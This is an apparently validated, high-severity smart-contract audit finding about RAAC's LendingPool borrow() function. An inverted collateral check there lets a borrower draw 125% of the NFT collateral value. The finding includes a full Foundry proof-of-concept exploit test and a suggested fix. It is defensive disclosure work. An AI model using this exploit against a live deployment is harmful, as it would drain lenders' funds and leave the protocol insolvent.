Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

LendingPool Allows Undercollateralized Positions Due to Incorrect calculation in borrow function

Summary

The LendingPool contract contains a critical vulnerability in its borrowing mechanism where an attacker can borrow more than their provided collateral value. This occurs due to an incorrect implementation of the liquidation threshold check in the borrow() function. Instead of limiting the borrow amount to a percentage of the collateral value, the current implementation allows borrowing up to collateral_value/liquidation_threshold, resulting in undercollateralized positions from inception.

Vulnerability Details

  1. Lender provides crvUSD to the LiquidityPool

  2. Attacker owns/mints NFT worth 100 crvUSD

  3. Attacker deposits NFT as collateral in LendingPool

  4. Attacker borrows 125 crvUSDC

  5. LendingPool is Undercollateralized by: 25 crvUSD (25%)

The fundamental issue lies in how the borrow function determines the maximum borrowable amount using the liquidation threshold on the users total debt:

function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
// Example with:
// borrowAmount = 125 crvUSD
// liquidationThreshold = 80%
// collateralValue = 100 crvUSD
uint256 collateralValue = getUserCollateralValue(msg.sender);
// 125
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
// Incorrect check
// 100 < (125 * 0.8) = 100
if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}
}
  • It reduces the debt amount by the liquidation threshold (multiplies by 0.8)

  • Compares this reduced debt to the full collateral value

  • This inverted logic allows borrowing up to collateral/threshold (100/0.8 = 125)

PoC

In order to run the test you need to:

  1. Run foundryup to get the latest version of Foundry

  2. Install hardhat-foundry: npm install --save-dev @nomicfoundation/hardhat-foundry

  3. Import it in your Hardhat config: require("@nomicfoundation/hardhat-foundry");

  4. Make sure you've set the BASE_RPC_URL in the .env file or comment out the forking option in the hardhat config.

  5. Run npx hardhat init-foundry

  6. There is one file in the test folder that will throw an error during compilation so rename the file in test/unit/libraries/ReserveLibraryMock.sol to => ReserveLibraryMock.sol_broken so it doesn't get compiled anymore (we don't need it anyways).

  7. Create a new folder test/foundry

  8. Paste the below code into a new test file i.e.: FoundryTest.t.sol

  9. Run the test: forge test --mc FoundryTest -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {StabilityPool} from "../../contracts/core/pools/StabilityPool/StabilityPool.sol";
import {crvUSDToken} from "../../contracts/mocks/core/tokens/crvUSDToken.sol";
import {RAACToken} from "../../contracts/core/tokens/RAACToken.sol";
import {RAACHousePrices} from "../../contracts/core/primitives/RAACHousePrices.sol";
import {RAACNFT} from "../../contracts/core/tokens/RAACNFT.sol";
import {RToken} from "../../contracts/core/tokens/RToken.sol";
import {DebtToken} from "../../contracts/core/tokens/DebtToken.sol";
import {DEToken} from "../../contracts/core/tokens/DEToken.sol";
import {LendingPool} from "../../contracts/core/pools/LendingPool/LendingPool.sol";
import {RAACMinter, IRAACMinter} from "../../contracts/core/minters/RAACMinter/RAACMinter.sol";
import {PercentageMath} from "../../contracts/libraries/math/PercentageMath.sol";
contract FoundryTest is Test {
using PercentageMath for uint256;
StabilityPool public stabilityPool;
LendingPool public lendingPool;
RAACMinter public raacMinter;
crvUSDToken public crvusd;
RToken public rToken;
DEToken public deToken;
RAACToken public raacToken;
RAACNFT public raacNFT;
DebtToken public debtToken;
RAACHousePrices public raacHousePrices;
address public owner;
address public user1;
address public user2;
address public user3;
address public treasury;
uint256 public constant INITIAL_BALANCE = 1000e18;
uint256 public constant INITIAL_PRIME_RATE = 1e27;
uint256 constant INITIAL_BATCH_SIZE = 3;
uint256 constant HOUSE_PRICE = 100e18;
uint256 constant TOKEN_ID = 1;
function setUp() public {
// Setup accounts
owner = address(this);
user1 = makeAddr("user1");
user2 = makeAddr("user2");
user3 = makeAddr("user3");
treasury = makeAddr("treasury");
// Deploy base tokens
crvusd = new crvUSDToken(owner);
crvusd.setMinter(owner);
raacToken = new RAACToken(owner, 100, 50);
// Deploy price oracle and set oracle
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner);
// Set initial house prices
raacHousePrices.setHousePrice(TOKEN_ID, HOUSE_PRICE);
// Deploy NFT
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
// Deploy pool tokens
rToken = new RToken("RToken", "RToken", owner, address(crvusd));
debtToken = new DebtToken("DebtToken", "DT", owner);
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
// Deploy pools
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
INITIAL_PRIME_RATE
);
stabilityPool = new StabilityPool(owner);
// this is needed otherwise lastEmissionUpdateTimestamp will underflow in the RAACMinter constructor
vm.warp(block.timestamp + 2 days);
// Deploy RAAC minter
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), owner);
// Setup cross-contract references
lendingPool.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
// Initialize Stability Pool
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvusd),
address(lendingPool)
);
// Setup permissions
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
// Mint initial tokens and setup approvals
_setupInitialBalancesAndAllowances();
}
function test_borrowMoreThanCollateralValue() public {
address attacker = makeAddr("attacker");
crvusd.mint(attacker, HOUSE_PRICE);
assertEq(crvusd.balanceOf(attacker), HOUSE_PRICE);
// determine how much is in the lending pool available to borrow = 3000e18
uint256 availableToBorrow = crvusd.balanceOf(address(rToken));
assertEq(availableToBorrow, INITIAL_BALANCE * 3);
// mint nft to attacker for 100e18
vm.startPrank(attacker);
crvusd.approve(address(raacNFT), HOUSE_PRICE);
raacNFT.mint(TOKEN_ID, HOUSE_PRICE);
assertEq(raacNFT.balanceOf(attacker), 1);
// deposit NFT to the lending pool
raacNFT.approve(address(lendingPool), TOKEN_ID);
lendingPool.depositNFT(TOKEN_ID);
assertEq(raacNFT.balanceOf(address(lendingPool)), 1);
// Get the liquidation threshold from the protocol
uint256 liquidationThreshold = lendingPool.liquidationThreshold();
// Calculate the maximum allowed borrow amount based on the threshold
uint256 maxBorrowable = HOUSE_PRICE.percentDiv(liquidationThreshold);
console2.log("maxBorrowable", maxBorrowable);
// Borrow the max amount allowed by the protocol
lendingPool.borrow(maxBorrowable);
assertEq(crvusd.balanceOf(attacker), maxBorrowable);
assertEq(crvusd.balanceOf(address(rToken)), availableToBorrow - maxBorrowable);
vm.stopPrank();
// Calculate delta (excess borrowed amount)
uint256 delta = maxBorrowable - HOUSE_PRICE;
uint256 deltaPercentage = (delta * 100) / HOUSE_PRICE;
console2.log("delta", delta);
console2.log("deltaPercentage", deltaPercentage);
}
function _setupInitialBalancesAndAllowances() internal {
// Mint crvUSD to users
crvusd.mint(user1, INITIAL_BALANCE);
crvusd.mint(user2, INITIAL_BALANCE);
crvusd.mint(user3, INITIAL_BALANCE);
// Setup approvals for users
vm.startPrank(user1);
crvusd.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(INITIAL_BALANCE);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
vm.startPrank(user2);
crvusd.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(INITIAL_BALANCE);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
vm.startPrank(user3);
crvusd.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(INITIAL_BALANCE);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
}
}

Impact

Undercollateralized Lending:

Users can borrow more than their provided collateral value, leading to protocol insolvency.

Risk of Bad Debt:

If asset values decrease, the collateral may be insufficient to cover outstanding debt.

Tools Used

  • Foundry

  • Manual Review

Recommendations

The borrow function should be modified to ensure a healthy LTV ratio:

  • Users can only borrow up to 80% of their collateral value

  • Protocol maintains a safety margin

function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
// ... existing code ...
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
// Fix: Check that debt doesn't exceed collateral * liquidationThreshold
if (userTotalDebt > collateralValue.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}
// ... rest of the function
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.